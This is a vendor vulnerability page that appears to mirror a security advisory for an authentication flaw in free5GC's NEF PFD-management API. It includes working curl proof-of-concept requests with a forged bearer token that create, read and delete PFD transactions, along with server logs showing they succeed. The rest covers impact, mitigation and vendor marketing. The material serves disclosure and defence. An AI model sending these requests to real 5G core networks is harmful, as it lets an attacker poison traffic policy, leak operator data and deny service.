GHSA-5f62-53r8-qrqf is a critical-severity (CVSS 9.4) CWE-862 vulnerability in github.com/free5gc/nef. O3 Security confirms whether GHSA-5f62-53r8-qrqf is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
free5GC's NEF 3gpp-pfd-management API is unauthenticated; forged bearer tokens can create, read, and delete PFD transactions
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-5f62-53r8-qrqf.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-5f62-53r8-qrqf plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 356,530 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/free5gc/nefReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token). The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.
Details
Validated against the NEF container in the official Docker compose lab.
- Source repo tag:
v4.2.1 - Running Docker image:
free5gc/nef:v4.2.0 - Runtime NEF commit:
5ce35eab - Docker validation date: 2026-03-11
NEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-pfd-management route group is mounted and reachable with no inbound auth middleware.
Code evidence (paths in free5gc/nef):
- Route group mounted without auth middleware:
NFs/nef/internal/sbi/server.go:52 - Transaction routes exposed at
/:scsAsID/transactionsand/:scsAsID/transactions/:transID:NFs/nef/internal/sbi/api_pfd.go:13 - Create handler still contains
// TODO: Authorize the AF:NFs/nef/internal/sbi/processor/pfd.go:70 - POST allocates a new PFD transaction and writes to UDR:
NFs/nef/internal/sbi/processor/pfd.go:63 - GET reads transaction state:
NFs/nef/internal/sbi/processor/pfd.go:189 - DELETE removes transaction state:
NFs/nef/internal/sbi/processor/pfd.go:328 - NEF context only exposes outbound token acquisition (
GetTokenCtx); there is no inbound authorization path:NFs/nef/internal/context/nef_context.go:153 - Config validation only allows
nnef-pfdmanagementandnnef-oam:NFs/nef/pkg/factory/config.go:126
PoC
Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.
- Seed an AF context (also accepted with forged token):
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions
- CREATE PFD transaction with forged token ->
201 Created:
curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S*)?$"]}}}}}' \
http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions
- READ ->
200 OK:
curl -i -H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
- DELETE ->
204 No Content:
curl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
- READ again ->
404 PFD transaction not found, confirming state was actually deleted.
NEF container logs (docker logs nef) show the requests reaching business handlers and returning success codes:
[INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2]
[INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/af-poc-pfd2/transactions
[INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1]
[INFO][NEF][GIN] | 200 | GET | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
[INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1]
[INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
Impact
Missing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can:
- Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification.
- Read existing PFD transactions, leaking AF-supplied policy data.
- Delete PFD transactions, denying service to legitimately provisioned application detection rules.
The PFD-management route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.
Affected: free5gc <=v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/858 Upstream fix: https://github.com/free5gc/nef/pull/23
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/free5gc/nef | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/free5gc/nef. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of github.com/free5gc/nef has shipped for GHSA-5f62-53r8-qrqf yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5f62-53r8-qrqf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5f62-53r8-qrqf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5f62-53r8-qrqf in your dependencies?
O3 detects GHSA-5f62-53r8-qrqf across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.